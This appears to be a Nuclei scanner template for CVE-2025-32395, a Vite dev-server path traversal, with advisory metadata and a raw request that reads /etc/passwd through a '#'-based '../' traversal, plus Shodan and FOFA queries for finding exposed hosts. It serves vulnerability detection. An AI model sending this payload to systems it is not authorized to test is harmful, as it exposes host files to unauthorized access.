Vite - Path Traversal

id: CVE-2025-32395

info:
  name: Vite - Path Traversal
  author: ChrisJr404
  severity: medium
  description: |
     Vite versions prior to 6.2.6, 6.1.5, 6.0.15, 5.4.18, and 4.5.13 contain a file exposure vulnerability caused by improper handling of request URLs with '#' in the dev server running on Node or Bun, letting attackers access arbitrary files, exploit requires the server to be exposed to the network and running on Node or Bun.
  impact: |
    An unauthenticated attacker who can reach the Vite dev server (commonly exposed during development or in misconfigured deployments) can read arbitrary files on the host filesystem.
  remediation: |
    Update to version 6.2.6, 6.1.5, 6.0.15, 5.4.18, or 4.5.13 or later.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-356w-63v5-8wf4
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32395
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 6.0
    cve-id: CVE-2025-32395
    cwe-id: CWE-200
    epss-score: 0.01736
    epss-percentile: 0.74938
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"/@vite/client"
    fofa-query: body="/@vite/client"
  tags: cve,cve2025,vite,lfi,vuln,unauth

http:
  - raw:
      - |+
        GET /@fs/{{path}}/#/../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    unsafe: true
    payloads:
      path:
        - "usr/src"
        - "app"
        - "src"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("root:.*:0:0:", body)'
        condition: and
# digest: 4a0a0047304502201994646f796ae4a524bcbdfe91c74a1c54e8e0eadc7593a69be2f5c7bc699212022100fd976fa6ed9fc61bbd850d95e50b3ec5de85cbfedc846def66f54a7cc75d8f69:922c64590222798bb761d5b6d8e72950